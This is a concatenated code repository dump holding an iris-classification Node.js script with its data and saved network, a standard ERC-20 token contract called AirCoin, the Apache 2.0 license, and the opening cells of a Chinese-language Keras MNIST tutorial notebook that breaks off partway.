140 | 6.9,3.1,5.4,2.1,virginica
141 | 6.7,3.1,5.6,2.4,virginica
142 | 6.9,3.1,5.1,2.3,virginica
143 | 5.8,2.7,5.1,1.9,virginica
144 | 6.8,3.2,5.9,2.3,virginica
145 | 6.7,3.3,5.7,2.5,virginica
146 | 6.7,3.0,5.2,2.3,virginica
147 | 6.3,2.5,5.0,1.9,virginica
148 | 6.5,3.0,5.2,2.0,virginica
149 | 6.2,3.4,5.4,2.3,virginica
150 | 5.9,3.0,5.1,1.8,virginica
151 |
--------------------------------------------------------------------------------
/sj-nn/network.json:
--------------------------------------------------------------------------------
1 | {"neurons":[{"trace":{"elegibility":{},"extended":{}},"state":0,"old":0,"activation":0.7468354430379747,"bias":0,"layer":"input","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":0,"old":0,"activation":0.37974683544303794,"bias":0,"layer":"input","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":0,"old":0,"activation":0.6455696202531644,"bias":0,"layer":"input","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":0,"old":0,"activation":0.22784810126582278,"bias":0,"layer":"input","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":-1.558110196910178,"old":-3.878451973228321,"activation":0.17391798872538208,"bias":12.766086257532947,"layer":"0","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":2.7691454029067533,"old":4.625283262135736,"activation":0.9409855471465922,"bias":-9.546470549866036,"layer":"0","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":5.612599631697057,"old":5.780180341247867,"activation":0.9963617211232295,"bias":3.3298902409574205,"layer":"0","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":5.702158955501422,"old":5.93644510926295,"activation":0.9966723606946796,"bias":2.5852150173331383,"layer":"0","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":2.4543740817762023,"old":3.0788635313153305,"activation":0.9208807311096627,"bias":-2.437678534719479,"layer":"0","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":6.972278842089367,"old":7.831068796094836,"activation":0.9990633640860457,"bias":-4.800903075631054,"layer":"0","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":-19.45081669442816,"old":-20.79990843392614,"activation":3.569584273278499e-9,"bias":2.0882984443096135,"layer":"output","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":-5.508432513508708,"old":-6.931589745907001,"activation":0.004036098469448626,"bias":-5.746802234780785,"layer":"output","squash":"LOGISTIC"},{"trace":{"elegibility":{},"extended":{}},"state":5.4709977101576746,"old":7.007123995352509,"activation":0.9958105923108082,"bias":-4.855995783602578,"layer":"output","squash":"LOGISTIC"}],"connections":[{"from":"0","to":"4","weight":10.324106021971428,"gater":null},{"from":"0","to":"5","weight":-8.330253780444911,"gater":null},{"from":"0","to":"6","weight":2.2082383625989657,"gater":null},{"from":"0","to":"7","weight":1.9694816766334098,"gater":null},{"from":"0","to":"8","weight":-1.9468284664255875,"gater":null},{"from":"0","to":"9","weight":2.0830817937575636,"gater":null},{"from":"1","to":"4","weight":12.736553008928311,"gater":null},{"from":"1","to":"5","weight":-9.947186232113797,"gater":null},{"from":"1","to":"6","weight":1.8973591887736396,"gater":null},{"from":"1","to":"7","weight":0.8831342064836666,"gater":null},{"from":"1","to":"8","weight":-3.7948818304840284,"gater":null},{"from":"1","to":"9","weight":-6.3375985087397035,"gater":null},{"from":"2","to":"4","weight":-29.055185470508313,"gater":null},{"from":"2","to":"5","weight":24.918964938874343,"gater":null},{"from":"2","to":"6","weight":-0.08362697387955735,"gater":null},{"from":"2","to":"7","weight":1.763723347030858,"gater":null},{"from":"2","to":"8","weight":9.00260313162923,"gater":null},{"from":"2","to":"9","weight":17.022475195472218,"gater":null},{"from":"3","to":"4","weight":-35.61199480384706,"gater":null},{"from":"3","to":"5","weight":27.331500466451264,"gater":null},{"from":"3","to":"6","weight":-0.14487897334775143,"gater":null},{"from":"3","to":"7","weight":0.7552908500466395,"gater":null},{"from":"3","to":"8","weight":8.669373967983258,"gater":null},{"from":"3","to":"9","weight":7.175625886740289,"gater":null},{"from":"4","to":"10","weight":5.50991924484888,"gater":null},{"from":"4","to":"11","weight":6.238395186568892,"gater":null},{"from":"4","to":"12","weight":-6.055081486506721,"gater":null},{"from":"5","to":"10","weight":-5.552314689759186,"gater":null},{"from":"5","to":"11","weight":-9.007228005296916,"gater":null},{"from":"5","to":"12","weight":7.687910935420445,"gater":null},{"from":"6","to":"10","weight":2.004555927196302,"gater":null},{"from":"6","to":"11","weight":-5.59821452810392,"gater":null},{"from":"6","to":"12","weight":-4.537605289866172,"gater":null},{"from":"7","to":"10","weight":-0.3266819896996822,"gater":null},{"from":"7","to":"11","weight":-4.8719275008043565,"gater":null},{"from":"7","to":"12","weight":-2.186330662445878,"gater":null},{"from":"8","to":"10","weight":-6.3334617189251565,"gater":null},{"from":"8","to":"11","weight":-0.684635920544392,"gater":null},{"from":"8","to":"12","weight":6.492207815567106,"gater":null},{"from":"9","to":"10","weight":-13.124339088565122,"gater":null},{"from":"9","to":"11","weight":18.71062716862063,"gater":null},{"from":"9","to":"12","weight":4.8720338105946475,"gater":null}]}
--------------------------------------------------------------------------------
/sj-nn/index.js:
--------------------------------------------------------------------------------
1 | var step = require('step');
2 | var csv = require('csvtojson');
3 | var fs = require('fs');
4 | var NodeNeuralNetwork = require('node-neural-network');
5 | var Neuron = NodeNeuralNetwork.Neuron,
6 | Layer = NodeNeuralNetwork.Layer,
7 | Network = NodeNeuralNetwork.Network,
8 | Trainer = NodeNeuralNetwork.Trainer,
9 | Architect = NodeNeuralNetwork.Architect;
10 |
11 | // start
12 | step(
13 | // function loadNetwork() {
14 | // fs.readFile('network.json', {encoding: 'utf-8'}, function(err, data){
15 | // if (!err) {
16 | // var perceptron = Network.fromJSON(JSON.parse(data));
17 | // var trainer = new Trainer(perceptron);
18 | // this(trainer, perceptron);
19 | // } else {
20 | // console.log(err);
21 | // }
22 | // }.bind(this));
23 | // },
24 | function initNN () {
25 |
26 | function Perceptron(input, hidden, output)
27 | {
28 | // create the layers
29 | var inputLayer = new Layer(input);
30 | var hiddenLayer = new Layer(hidden);
31 | var outputLayer = new Layer(output);
32 |
33 | // connect the layers
34 | inputLayer.project(hiddenLayer);
35 | hiddenLayer.project(outputLayer);
36 |
37 | // set the layers
38 | this.set({
39 | input: inputLayer,
40 | hidden: [hiddenLayer],
41 | output: outputLayer
42 | });
43 | }
44 |
45 | // extend the prototype chain
46 | Perceptron.prototype = new Network();
47 | Perceptron.prototype.constructor = Perceptron;
48 |
49 | var perceptron = new Perceptron(4,6,3);
50 | var trainer = new Trainer(perceptron);
51 | this(trainer, perceptron);
52 |
53 | },
54 | function loadCsv(trainer, perceptron) {
55 | var rows = [];
56 | csv({noheader:true})
57 | .fromFile('iris.csv')
58 | .on('json', function (row) {
59 | rows.push(row);
60 | }).on('done',function () {
61 | this(trainer, perceptron, rows);
62 | }.bind(this));
63 | },
64 | function normalization(trainer, perceptron, rows) {
65 | // compute max feature
66 | var maxFeatureMap = [0, 0, 0, 0];
67 | rows.map(function (row) {
68 | for (var i = 0; i < 4; i++) {
69 | maxFeatureMap[i] = (maxFeatureMap[i] < row.field1) ? row.field1 : maxFeatureMap[i];
70 | }
71 | });
72 |
73 | // normalization feature (0~1)
74 | var fixData = {
75 | 0: [],
76 | 1: [],
77 | 2: []
78 | };
79 | rows.map(function (row) {
80 | var type = row.field5 === 'setosa' ? 0 : row.field5 === 'versicolor' ? 1 : 2;
81 | fixData[type].push({
82 | input: [
83 | row.field1 / maxFeatureMap[0],
84 | row.field2 / maxFeatureMap[1],
85 | row.field3 / maxFeatureMap[2],
86 | row.field4 / maxFeatureMap[3]
87 | ],
88 | output: [
89 | row.field5 === 'setosa' ? 1 : 0,
90 | row.field5 === 'versicolor' ? 1 : 0,
91 | row.field5 === 'virginica' ? 1 : 0
92 | ]
93 | });
94 | });
95 |
96 | // make train data and test data
97 | var reserved = 3; // reserved for test
98 | var trainData = [];
99 | var testData = [];
100 | for (var type in fixData) {
101 | for (var i = 0; i < fixData[type].length; i++) {
102 | if (i < fixData[type].length - reserved) {
103 | trainData.push(fixData[type][i]);
104 | } else {
105 | testData.push(fixData[type][i]);
106 | }
107 |
108 | }
109 | }
110 |
111 | this(trainer, perceptron, trainData, testData);
112 | },
113 | function train(trainer, perceptron, trainData, testData) {
114 | var defaults = {
115 | iterations: 10000,
116 | log: false,
117 | shuffle: true,
118 | cost: Trainer.cost.MSE
119 | };
120 | trainer.train(trainData, defaults);
121 | this(trainer, perceptron, trainData, testData);
122 | },
123 | function test(trainer, perceptron, trainData, testData) {
124 |
125 | // test
126 | var hit = 0, miss = 0;
127 |
128 | for (var i = 0; i < testData.length; i++) {
129 | var result = perceptron.activate(testData[i].input);
130 | var prediction = 0;
131 | result.reduce(function(a, b, index) {
132 | prediction = a < b ? index : prediction;
133 | return Math.max(a, b);
134 | });
135 |
136 | console.log(testData[i].output, result);
137 |
138 | if (prediction === testData[i].output.indexOf(1)) {
139 | hit++;
140 | } else {
141 | miss++;
142 | }
143 | }
144 |
145 | // report
146 | console.log('Accuracy: ' + (hit / (hit + miss) * 100));
147 | this(perceptron);
148 | },
149 | function saveNetwork(perceptron) {
150 | fs.writeFile('network.json', JSON.stringify(perceptron.toJSON()), function(err) {
151 | if (err) {
152 | return console.log(err);
153 | }
154 | console.log('The network was saved!');
155 | });
156 | }
157 | );
158 |
159 |
--------------------------------------------------------------------------------
/erc-20/ERC-20.sol:
--------------------------------------------------------------------------------
1 | pragma solidity ^0.5.0;
2 |
3 | // ----------------------------------------------------------------------------
4 | // Safe maths
5 | // ----------------------------------------------------------------------------
6 | library SafeMath {
7 | function add(uint a, uint b) internal pure returns (uint c) {
8 | c = a + b;
9 | require(c >= a);
10 | }
11 | function sub(uint a, uint b) internal pure returns (uint c) {
12 | require(b <= a);
13 | c = a - b;
14 | }
15 | function mul(uint a, uint b) internal pure returns (uint c) {
16 | c = a * b;
17 | require(a == 0 || c / a == b);
18 | }
19 | function div(uint a, uint b) internal pure returns (uint c) {
20 | require(b > 0);
21 | c = a / b;
22 | }
23 | }
24 |
25 |
26 | // ----------------------------------------------------------------------------
27 | // ERC Token Standard #20 Interface
28 | // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
29 | // ----------------------------------------------------------------------------
30 | contract ERC20Interface {
31 | function totalSupply() public view returns (uint);
32 | function balanceOf(address tokenOwner) public view returns (uint balance);
33 | function allowance(address tokenOwner, address spender) public view returns (uint remaining);
34 | function transfer(address to, uint tokens) public returns (bool success);
35 | function approve(address spender, uint tokens) public returns (bool success);
36 | function transferFrom(address from, address to, uint tokens) public returns (bool success);
37 |
38 | event Transfer(address indexed from, address indexed to, uint tokens);
39 | event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
40 | }
41 |
42 |
43 | // ----------------------------------------------------------------------------
44 | // Contract function to receive approval and execute function in one call
45 | //
46 | // Borrowed from MiniMeToken
47 | // ----------------------------------------------------------------------------
48 | contract ApproveAndCallFallBack {
49 | function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public;
50 | }
51 |
52 |
53 | // ----------------------------------------------------------------------------
54 | // Owned contract
55 | // ----------------------------------------------------------------------------
56 | contract Owned {
57 | address public owner;
58 | address public newOwner;
59 |
60 | event OwnershipTransferred(address indexed _from, address indexed _to);
61 |
62 | constructor() public {
63 | owner = msg.sender;
64 | }
65 |
66 | modifier onlyOwner {
67 | require(msg.sender == owner);
68 | _;
69 | }
70 |
71 | function transferOwnership(address _newOwner) public onlyOwner {
72 | newOwner = _newOwner;
73 | }
74 | function acceptOwnership() public {
75 | require(msg.sender == newOwner);
76 | emit OwnershipTransferred(owner, newOwner);
77 | owner = newOwner;
78 | newOwner = address(0);
79 | }
80 | }
81 |
82 |
83 | // ----------------------------------------------------------------------------
84 | // ERC20 Token, with the addition of symbol, name and decimals and a
85 | // fixed supply
86 | // ----------------------------------------------------------------------------
87 | contract AirToken is ERC20Interface, Owned {
88 | using SafeMath for uint;
89 |
90 | string public symbol;
91 | string public name;
92 | uint8 public decimals;
93 | uint _totalSupply;
94 |
95 | mapping(address => uint) balances;
96 | mapping(address => mapping(address => uint)) allowed;
97 |
98 |
99 | // ------------------------------------------------------------------------
100 | // Constructor
101 | // ------------------------------------------------------------------------
102 | constructor() public {
103 | symbol = "AirCoin";
104 | name = "空氣幣";
105 | decimals = 3;
106 | _totalSupply = 200000000 * 10**uint(decimals);
107 | balances[0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFF] = _totalSupply;
108 | emit Transfer(address(0), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFF, _totalSupply);
109 | }
110 |
111 |
112 | // ------------------------------------------------------------------------
113 | // Total supply
114 | // ------------------------------------------------------------------------
115 | function totalSupply() public view returns (uint) {
116 | return _totalSupply.sub(balances[address(0)]);
117 | }
118 |
119 |
120 | // ------------------------------------------------------------------------
121 | // Get the token balance for account `tokenOwner`
122 | // ------------------------------------------------------------------------
123 | function balanceOf(address tokenOwner) public view returns (uint balance) {
124 | return balances[tokenOwner];
125 | }
126 |
127 |
128 | // ------------------------------------------------------------------------
129 | // Transfer the balance from token owner's account to `to` account
130 | // - Owner's account must have sufficient balance to transfer
131 | // - 0 value transfers are allowed
132 | // ------------------------------------------------------------------------
133 | function transfer(address to, uint tokens) public returns (bool success) {
134 | balances[msg.sender] = balances[msg.sender].sub(tokens);
135 | balances[to] = balances[to].add(tokens);
136 | emit Transfer(msg.sender, to, tokens);
137 | return true;
138 | }
139 |
140 |
141 | // ------------------------------------------------------------------------
142 | // Token owner can approve for `spender` to transferFrom(...) `tokens`
143 | // from the token owner's account
144 | //
145 | // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
146 | // recommends that there are no checks for the approval double-spend attack
147 | // as this should be implemented in user interfaces
148 | // ------------------------------------------------------------------------
149 | function approve(address spender, uint tokens) public returns (bool success) {
150 | allowed[msg.sender][spender] = tokens;
151 | emit Approval(msg.sender, spender, tokens);
152 | return true;
153 | }
154 |
155 |
156 | // ------------------------------------------------------------------------
157 | // Transfer `tokens` from the `from` account to the `to` account
158 | //
159 | // The calling account must already have sufficient tokens approve(...)-d
160 | // for spending from the `from` account and
161 | // - From account must have sufficient balance to transfer
162 | // - Spender must have sufficient allowance to transfer
163 | // - 0 value transfers are allowed
164 | // ------------------------------------------------------------------------
165 | function transferFrom(address from, address to, uint tokens) public returns (bool success) {
166 | balances[from] = balances[from].sub(tokens);
167 | allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
168 | balances[to] = balances[to].add(tokens);
169 | emit Transfer(from, to, tokens);
170 | return true;
171 | }
172 |
173 |
174 | // ------------------------------------------------------------------------
175 | // Returns the amount of tokens approved by the owner that can be
176 | // transferred to the spender's account
177 | // ------------------------------------------------------------------------
178 | function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
179 | return allowed[tokenOwner][spender];
180 | }
181 |
182 |
183 | // ------------------------------------------------------------------------
184 | // Token owner can approve for `spender` to transferFrom(...) `tokens`
185 | // from the token owner's account. The `spender` contract function
186 | // `receiveApproval(...)` is then executed
187 | // ------------------------------------------------------------------------
188 | function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
189 | allowed[msg.sender][spender] = tokens;
190 | emit Approval(msg.sender, spender, tokens);
191 | ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
192 | return true;
193 | }
194 |
195 |
196 | // ------------------------------------------------------------------------
197 | // Don't accept ETH
198 | // ------------------------------------------------------------------------
199 | function () external payable {
200 | revert();
201 | }
202 |
203 |
204 | // ------------------------------------------------------------------------
205 | // Owner can transfer out any accidentally sent ERC20 tokens
206 | // ------------------------------------------------------------------------
207 | function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
208 | return ERC20Interface(tokenAddress).transfer(owner, tokens);
209 | }
210 | }
211 |
--------------------------------------------------------------------------------
/LICENSE.txt:
--------------------------------------------------------------------------------
1 | Apache License
2 | Version 2.0, January 2004
3 | http://www.apache.org/licenses/
4 |
5 | TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
6 |
7 | 1. Definitions.
8 |
9 | "License" shall mean the terms and conditions for use, reproduction,
10 | and distribution as defined by Sections 1 through 9 of this document.
11 |
12 | "Licensor" shall mean the copyright owner or entity authorized by
13 | the copyright owner that is granting the License.
14 |
15 | "Legal Entity" shall mean the union of the acting entity and all
16 | other entities that control, are controlled by, or are under common
17 | control with that entity. For the purposes of this definition,
18 | "control" means (i) the power, direct or indirect, to cause the
19 | direction or management of such entity, whether by contract or
20 | otherwise, or (ii) ownership of fifty percent (50%) or more of the
21 | outstanding shares, or (iii) beneficial ownership of such entity.
22 |
23 | "You" (or "Your") shall mean an individual or Legal Entity
24 | exercising permissions granted by this License.
25 |
26 | "Source" form shall mean the preferred form for making modifications,
27 | including but not limited to software source code, documentation
28 | source, and configuration files.
29 |
30 | "Object" form shall mean any form resulting from mechanical
31 | transformation or translation of a Source form, including but
32 | not limited to compiled object code, generated documentation,
33 | and conversions to other media types.
34 |
35 | "Work" shall mean the work of authorship, whether in Source or
36 | Object form, made available under the License, as indicated by a
37 | copyright notice that is included in or attached to the work
38 | (an example is provided in the Appendix below).
39 |
40 | "Derivative Works" shall mean any work, whether in Source or Object
41 | form, that is based on (or derived from) the Work and for which the
42 | editorial revisions, annotations, elaborations, or other modifications
43 | represent, as a whole, an original work of authorship. For the purposes
44 | of this License, Derivative Works shall not include works that remain
45 | separable from, or merely link (or bind by name) to the interfaces of,
46 | the Work and Derivative Works thereof.
47 |
48 | "Contribution" shall mean any work of authorship, including
49 | the original version of the Work and any modifications or additions
50 | to that Work or Derivative Works thereof, that is intentionally
51 | submitted to Licensor for inclusion in the Work by the copyright owner
52 | or by an individual or Legal Entity authorized to submit on behalf of
53 | the copyright owner. For the purposes of this definition, "submitted"
54 | means any form of electronic, verbal, or written communication sent
55 | to the Licensor or its representatives, including but not limited to
56 | communication on electronic mailing lists, source code control systems,
57 | and issue tracking systems that are managed by, or on behalf of, the
58 | Licensor for the purpose of discussing and improving the Work, but
59 | excluding communication that is conspicuously marked or otherwise
60 | designated in writing by the copyright owner as "Not a Contribution."
61 |
62 | "Contributor" shall mean Licensor and any individual or Legal Entity
63 | on behalf of whom a Contribution has been received by Licensor and
64 | subsequently incorporated within the Work.
65 |
66 | 2. Grant of Copyright License. Subject to the terms and conditions of
67 | this License, each Contributor hereby grants to You a perpetual,
68 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
69 | copyright license to reproduce, prepare Derivative Works of,
70 | publicly display, publicly perform, sublicense, and distribute the
71 | Work and such Derivative Works in Source or Object form.
72 |
73 | 3. Grant of Patent License. Subject to the terms and conditions of
74 | this License, each Contributor hereby grants to You a perpetual,
75 | worldwide, non-exclusive, no-charge, royalty-free, irrevocable
76 | (except as stated in this section) patent license to make, have made,
77 | use, offer to sell, sell, import, and otherwise transfer the Work,
78 | where such license applies only to those patent claims licensable
79 | by such Contributor that are necessarily infringed by their
80 | Contribution(s) alone or by combination of their Contribution(s)
81 | with the Work to which such Contribution(s) was submitted. If You
82 | institute patent litigation against any entity (including a
83 | cross-claim or counterclaim in a lawsuit) alleging that the Work
84 | or a Contribution incorporated within the Work constitutes direct
85 | or contributory patent infringement, then any patent licenses
86 | granted to You under this License for that Work shall terminate
87 | as of the date such litigation is filed.
88 |
89 | 4. Redistribution. You may reproduce and distribute copies of the
90 | Work or Derivative Works thereof in any medium, with or without
91 | modifications, and in Source or Object form, provided that You
92 | meet the following conditions:
93 |
94 | (a) You must give any other recipients of the Work or
95 | Derivative Works a copy of this License; and
96 |
97 | (b) You must cause any modified files to carry prominent notices
98 | stating that You changed the files; and
99 |
100 | (c) You must retain, in the Source form of any Derivative Works
101 | that You distribute, all copyright, patent, trademark, and
102 | attribution notices from the Source form of the Work,
103 | excluding those notices that do not pertain to any part of
104 | the Derivative Works; and
105 |
106 | (d) If the Work includes a "NOTICE" text file as part of its
107 | distribution, then any Derivative Works that You distribute must
108 | include a readable copy of the attribution notices contained
109 | within such NOTICE file, excluding those notices that do not
110 | pertain to any part of the Derivative Works, in at least one
111 | of the following places: within a NOTICE text file distributed
112 | as part of the Derivative Works; within the Source form or
113 | documentation, if provided along with the Derivative Works; or,
114 | within a display generated by the Derivative Works, if and
115 | wherever such third-party notices normally appear. The contents
116 | of the NOTICE file are for informational purposes only and
117 | do not modify the License. You may add Your own attribution
118 | notices within Derivative Works that You distribute, alongside
119 | or as an addendum to the NOTICE text from the Work, provided
120 | that such additional attribution notices cannot be construed
121 | as modifying the License.
122 |
123 | You may add Your own copyright statement to Your modifications and
124 | may provide additional or different license terms and conditions
125 | for use, reproduction, or distribution of Your modifications, or
126 | for any such Derivative Works as a whole, provided Your use,
127 | reproduction, and distribution of the Work otherwise complies with
128 | the conditions stated in this License.
129 |
130 | 5. Submission of Contributions. Unless You explicitly state otherwise,
131 | any Contribution intentionally submitted for inclusion in the Work
132 | by You to the Licensor shall be under the terms and conditions of
133 | this License, without any additional terms or conditions.
134 | Notwithstanding the above, nothing herein shall supersede or modify
135 | the terms of any separate license agreement you may have executed
136 | with Licensor regarding such Contributions.
137 |
138 | 6. Trademarks. This License does not grant permission to use the trade
139 | names, trademarks, service marks, or product names of the Licensor,
140 | except as required for reasonable and customary use in describing the
141 | origin of the Work and reproducing the content of the NOTICE file.
142 |
143 | 7. Disclaimer of Warranty. Unless required by applicable law or
144 | agreed to in writing, Licensor provides the Work (and each
145 | Contributor provides its Contributions) on an "AS IS" BASIS,
146 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
147 | implied, including, without limitation, any warranties or conditions
148 | of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
149 | PARTICULAR PURPOSE. You are solely responsible for determining the
150 | appropriateness of using or redistributing the Work and assume any
151 | risks associated with Your exercise of permissions under this License.
152 |
153 | 8. Limitation of Liability. In no event and under no legal theory,
154 | whether in tort (including negligence), contract, or otherwise,
155 | unless required by applicable law (such as deliberate and grossly
156 | negligent acts) or agreed to in writing, shall any Contributor be
157 | liable to You for damages, including any direct, indirect, special,
158 | incidental, or consequential damages of any character arising as a
159 | result of this License or out of the use or inability to use the
160 | Work (including but not limited to damages for loss of goodwill,
161 | work stoppage, computer failure or malfunction, or any and all
162 | other commercial damages or losses), even if such Contributor
163 | has been advised of the possibility of such damages.
164 |
165 | 9. Accepting Warranty or Additional Liability. While redistributing
166 | the Work or Derivative Works thereof, You may choose to offer,
167 | and charge a fee for, acceptance of support, warranty, indemnity,
168 | or other liability obligations and/or rights consistent with this
169 | License. However, in accepting such obligations, You may act only
170 | on Your own behalf and on Your sole responsibility, not on behalf
171 | of any other Contributor, and only if You agree to indemnify,
172 | defend, and hold each Contributor harmless for any liability
173 | incurred by, or claims asserted against, such Contributor by reason
174 | of your accepting any such warranty or additional liability.
175 |
176 | END OF TERMS AND CONDITIONS
177 |
178 | APPENDIX: How to apply the Apache License to your work.
179 |
180 | To apply the Apache License to your work, attach the following
181 | boilerplate notice, with the fields enclosed by brackets "{}"
182 | replaced with your own identifying information. (Don't include
183 | the brackets!) The text should be enclosed in the appropriate
184 | comment syntax for the file format. We also recommend that a
185 | file or class name and description of purpose be included on the
186 | same "printed page" as the copyright notice for easier
187 | identification within third-party archives.
188 |
189 | Copyright {yyyy} {name of copyright owner}
190 |
191 | Licensed under the Apache License, Version 2.0 (the "License");
192 | you may not use this file except in compliance with the License.
193 | You may obtain a copy of the License at
194 |
195 | http://www.apache.org/licenses/LICENSE-2.0
196 |
197 | Unless required by applicable law or agreed to in writing, software
198 | distributed under the License is distributed on an "AS IS" BASIS,
199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
200 | See the License for the specific language governing permissions and
201 | limitations under the License.
--------------------------------------------------------------------------------
/keras-ml/mnist-neural-network.ipynb:
--------------------------------------------------------------------------------
1 | {
2 | "nbformat": 4,
3 | "nbformat_minor": 0,
4 | "metadata": {
5 | "kernelspec": {
6 | "display_name": "Python 3",
7 | "language": "python",
8 | "name": "python3"
9 | },
10 | "language_info": {
11 | "codemirror_mode": {
12 | "name": "ipython",
13 | "version": 3
14 | },
15 | "file_extension": ".py",
16 | "mimetype": "text/x-python",
17 | "name": "python",
18 | "nbconvert_exporter": "python",
19 | "pygments_lexer": "ipython3",
20 | "version": "3.5.2"
21 | },
22 | "colab": {
23 | "name": "1. Keras-MNIST NN.ipynb",
24 | "provenance": [],
25 | "collapsed_sections": []
26 | },
27 | "accelerator": "GPU"
28 | },
29 | "cells": [
30 | {
31 | "cell_type": "code",
32 | "metadata": {
33 | "id": "Wo_tIFcbsWsh",
34 | "colab_type": "code",
35 | "outputId": "9dfdde13-d89e-43be-9829-da01f8a247b0",
36 | "colab": {
37 | "base_uri": "https://localhost:8080/",
38 | "height": 51
39 | }
40 | },
41 | "source": [
42 | "import keras\n",
43 | "keras.__version__"
44 | ],
45 | "execution_count": 1,
46 | "outputs": [
47 | {
48 | "output_type": "stream",
49 | "text": [
50 | "Using TensorFlow backend.\n"
51 | ],
52 | "name": "stderr"
53 | },
54 | {
55 | "output_type": "execute_result",
56 | "data": {
57 | "text/plain": [
58 | "'2.3.1'"
59 | ]
60 | },
61 | "metadata": {
62 | "tags": []
63 | },
64 | "execution_count": 1
65 | }
66 | ]
67 | },
68 | {
69 | "cell_type": "markdown",
70 | "metadata": {
71 | "id": "ew4NYq9qsWsq",
72 | "colab_type": "text"
73 | },
74 | "source": [
75 | "# Python Keras MNIST 手寫辨識\n",
76 | "\n",
77 | "這是一個神經網路的範例,利用了 Python Keras 來訓練一個手寫辨識分類 Model。\n",
78 | "\n",
79 | "我們要的問題是將手寫數字的灰度圖像(28x28 Pixel)分類為 10 類(0至9)。使用的數據集是 MNIST 典數據集,它是由國家標準技術研究所(MNIST 的 NIST)在1980年代組裝而成的,包含 60,000 張訓練圖像和 10,000 張測試圖像。您可以將「解決」MNIST 視為深度學習的 \"Hello World\"。"
80 | ]
81 | },
82 | {
83 | "cell_type": "markdown",
84 | "metadata": {
85 | "id": "IfEj-7_ruHYV",
86 | "colab_type": "text"
87 | },
88 | "source": [
89 | "由於 Keras 已經整理了一些經典的 Play Book Data,因此我們可以很快透過以下方式取得 MNIST 資料集"
90 | ]
91 | },
92 | {
93 | "cell_type": "code",
94 | "metadata": {
95 | "id": "j2mnzx6dsWss",
96 | "colab_type": "code",
97 | "colab": {
98 | "base_uri": "https://localhost:8080/",
99 | "height": 51
100 | },
101 | "outputId": "afde9790-c2c5-4098-f9c6-c0814920dbc3"
102 | },
103 | "source": [
104 | "from keras.datasets import mnist\n",
105 | "\n",
106 | "(train_images, train_labels), (test_images, test_labels) = mnist.load_data()"
107 | ],
108 | "execution_count": 2,
109 | "outputs": [
110 | {
111 | "output_type": "stream",
112 | "text": [
113 | "Downloading data from https://s3.amazonaws.com/img-datasets/mnist.npz\n",
114 | "11493376/11490434 [==============================] - 0s 0us/step\n"
115 | ],
116 | "name": "stdout"
117 | }
118 | ]
119 | },
120 | {
121 | "cell_type": "markdown",
122 | "metadata": {
123 | "id": "4_1MlWirsWtB",
124 | "colab_type": "text"
125 | },
126 | "source": [
127 | "images 是用來訓練與測試的資料,label 則為每一筆影像資料對應的正確答案,每一張手寫圖片都是 28 x 28 的灰階 Bit Map"
128 | ]
129 | },
130 | {
131 | "cell_type": "code",
132 | "metadata": {
133 | "id": "f2WYWTatsWtC",
134 | "colab_type": "code",
135 | "outputId": "794f4afd-597b-4713-addc-2e8bd4e8d10c",
136 | "colab": {
137 | "base_uri": "https://localhost:8080/",
138 | "height": 34
139 | }
140 | },
141 | "source": [
142 | "train_images.shape"
143 | ],
144 | "execution_count": 3,
145 | "outputs": [
146 | {
147 | "output_type": "execute_result",
148 | "data": {
149 | "text/plain": [
150 | "(60000, 28, 28)"
151 | ]
152 | },
153 | "metadata": {
154 | "tags": []
155 | },
156 | "execution_count": 3
157 | }
158 | ]
159 | },
160 | {
161 | "cell_type": "code",
162 | "metadata": {
163 | "id": "iHXYHenEsWtF",
164 | "colab_type": "code",
165 | "outputId": "79dc7519-9035-4a85-a1df-c14336cf1c1e",
166 | "colab": {
167 | "base_uri": "https://localhost:8080/",
168 | "height": 34
169 | }
170 | },
171 | "source": [
172 | "len(train_labels)"
173 | ],
174 | "execution_count": 4,
175 | "outputs": [
176 | {
177 | "output_type": "execute_result",
178 | "data": {
179 | "text/plain": [
180 | "60000"
181 | ]
182 | },
183 | "metadata": {
184 | "tags": []
185 | },
186 | "execution_count": 4
187 | }
188 | ]
189 | },
190 | {
191 | "cell_type": "code",
192 | "metadata": {
193 | "id": "h7uWisUlsWtI",
194 | "colab_type": "code",
195 | "outputId": "e47f7eab-93a3-4ae8-9509-fb44f092c86a",
196 | "colab": {
197 | "base_uri": "https://localhost:8080/",
198 | "height": 34
199 | }
200 | },
201 | "source": [
202 | "train_labels"
203 | ],
204 | "execution_count": 5,
205 | "outputs": [
206 | {
207 | "output_type": "execute_result",
208 | "data": {
209 | "text/plain": [
210 | "array([5, 0, 4, ..., 5, 6, 8], dtype=uint8)"
211 | ]
212 | },
213 | "metadata": {
214 | "tags": []
215 | },
216 | "execution_count": 5
217 | }
218 | ]
219 | },
220 | {
221 | "cell_type": "code",
222 | "metadata": {
223 | "id": "tH0iJlaLsWtN",
224 | "colab_type": "code",
225 | "outputId": "137a713d-0f03-47c2-c8d8-1f834a949848",
226 | "colab": {
